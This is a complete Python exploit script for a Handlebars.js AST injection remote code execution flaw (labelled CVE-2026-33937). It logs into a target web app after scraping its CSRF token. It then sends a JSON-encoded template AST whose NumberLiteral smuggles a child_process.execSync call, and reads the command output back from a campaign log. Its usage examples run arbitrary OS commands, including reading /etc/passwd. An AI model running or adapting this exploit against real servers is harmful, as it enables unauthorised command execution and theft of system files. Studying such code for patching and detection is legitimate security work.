#!/usr/bin/env python3 """ CVE-2026-33937 — Handlebars.js AST Injection RCE Usage: python3 exploit.py --url http://hello.veer \ --username cognito@veer \ --password 'P@ssw0rd@123' \ --command id """ import requests import json import re import html import sys import time import argparse # ─── Helpers ────────────────────────────────────────────────────────────────── def get_csrf(session, url, path): """Scrape the hidden _csrf token from any page that contains one.""" r = session.get(f"{url}{path}") m = re.search(r'name="_csrf"\s+value="([^"]+)"', r.text) if m: return m.group(1) raise RuntimeError(f"[!] Could not find CSRF token at {path}") def login(session, url, username, password): """ Authenticate to the app and return the session cookie value. Flow: 1. GET /login -> scrape _csrf token 2. POST /login with _csrf + email + password (form-encoded) 3. On success: server returns 302 -> /dashboard and sets dz.sid cookie """ print("[*] Fetching login page for CSRF token ...") csrf = get_csrf(session, url, "/login") print(f"[+] Login CSRF : {csrf}") print(f"[*] Logging in as {username} ...") r = session.post( f"{url}/login", data={ "_csrf": csrf, "email": username, "password": password, }, allow_redirects=False, ) if r.status_code != 302 or "/dashboard" not in r.headers.get("Location", ""): raise RuntimeError( f"[!] Login failed (HTTP {r.status_code}). " "Check credentials or target URL." ) cookie_val = session.cookies.get("dz.sid") print(f"[+] Logged in! Session: dz.sid={cookie_val}") return cookie_val # ─── AST Payload Builder ────────────────────────────────────────────────────── def build_ast_payload(cmd): """ Build the malicious Handlebars AST object using the NumberLiteral + lookup technique. Normally {{lookup this 1}} compiles to: env.helpers.lookup(this, 1, {options}) Our NumberLiteral.value replaces "1" with: {},{})) + require('child_process').execSync('cmd').toString() // So the emitted JS becomes: env.helpers.lookup(this, {},{})) + require('child_process').execSync('cmd').toString() // When render() is called the execSync fires and its stdout is returned as the expression value, which is then stored as the campaign log message — giving us out-of-band command output. The command is wrapped in /bin/sh -c '...' 2>&1 so that: - Commands with spaces/pipes work correctly - stderr is captured alongside stdout """ wrapped = f"/bin/sh -c '{cmd} 2>&1'" safe = wrapped.replace("'", "\\'") return { "type": "Program", "body": [{ "type": "MustacheStatement", "path": { "type": "PathExpression", "data": False, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": None, }, "params": [ { "type": "PathExpression", "data": False, "depth": 0, "parts": [], "original": "this", "loc": None, }, { "type": "NumberLiteral", "value": f"{{}},{{}})) + process.mainModule.require('child_process').execSync('{safe}').toString() //", "original": 1, "loc": None, }, ], "escaped": True, "strip": {"open": False, "close": False}, "loc": None, }], "strip": {}, "loc": None, } # ─── Exploit ────────────────────────────────────────────────────────────────── def get_campaign_messages(session, url): """Fetch all current messages from campaign/1.""" r = session.get(f"{url}/campaign/1") return re.findall( r'
\s*

(.*?)

', r.text, re.DOTALL ) def send_exploit(session, url, cmd): """ POST /character with Content-Type: application/json. The route normally expects form-encoded data but also accepts JSON. When JSON is used, campaign_message can be a nested object (the AST) instead of a string, bypassing string-only validation at the form layer. campaign_id=1 causes the server to render the message template and post the result to the campaign log — giving us the command output. """ csrf = get_csrf(session, url, "/character/new") ast = build_ast_payload(cmd) char_name = f"RCE_{int(time.time())}" # unique per run for tracking payload = { "_csrf": csrf, "name": char_name, "race": "Human", "class": "Wizard", "backstory": "pwn", "campaign_id": "1", "campaign_message": ast, } r = session.post(f"{url}/character", json=payload, allow_redirects=True) return r, char_name # ─── Main ───────────────────────────────────────────────────────────────────── def parse_args(): p = argparse.ArgumentParser( description="CVE-2026-33937 — Handlebars.js AST Injection RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" examples: python3 exploit.py --url http://hello.veer --username cognito@veer --password 'P@ssw0rd@123' --command id python3 exploit.py --url http://hello.veer --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd' """, ) p.add_argument("--url", required=True, help="Target base URL (e.g. http://hello.veer)") p.add_argument("--username", required=True, help="Login email") p.add_argument("--password", required=True, help="Login password") p.add_argument("--command", default="id", help="OS command to execute (default: id)") return p.parse_args() def main(): args = parse_args() url = args.url.rstrip("/") cmd = args.command print() print("=" * 60) print(" CVE-2026-33937 — Handlebars.js AST Injection RCE") print("=" * 60) print(f" Target : {url}") print(f" User : {args.username}") print(f" Command : {cmd}") print("=" * 60) print() session = requests.Session() # Step 1 — Authenticate login(session, url, args.username, args.password) # Step 2 — Baseline message count print() before_count = len(get_campaign_messages(session, url)) print(f"[*] Campaign messages before exploit: {before_count}") # Step 3 — Send AST injection payload print(f"\n[*] Sending Handlebars AST injection ...") r, char_name = send_exploit(session, url, cmd) print(f"[*] HTTP {r.status_code} (character: {char_name})") if r.status_code >= 400: err = re.search(r"]*>(.*?)

", r.text, re.DOTALL) msg = html.unescape(err.group(1)[:300]) if err else r.text[:200] print(f"[-] Server error: {msg}") sys.exit(1) # Step 4 — Extract new campaign message (= command output) after_msgs = get_campaign_messages(session, url) new_msgs = after_msgs[before_count:] # slice — safe for duplicate outputs print() if new_msgs: print("[+] Command output:") print("-" * 40) for m in new_msgs: print(html.unescape(m)) print("-" * 40) else: print("[-] No new messages. Command may have failed or session expired.") if __name__ == "__main__": main()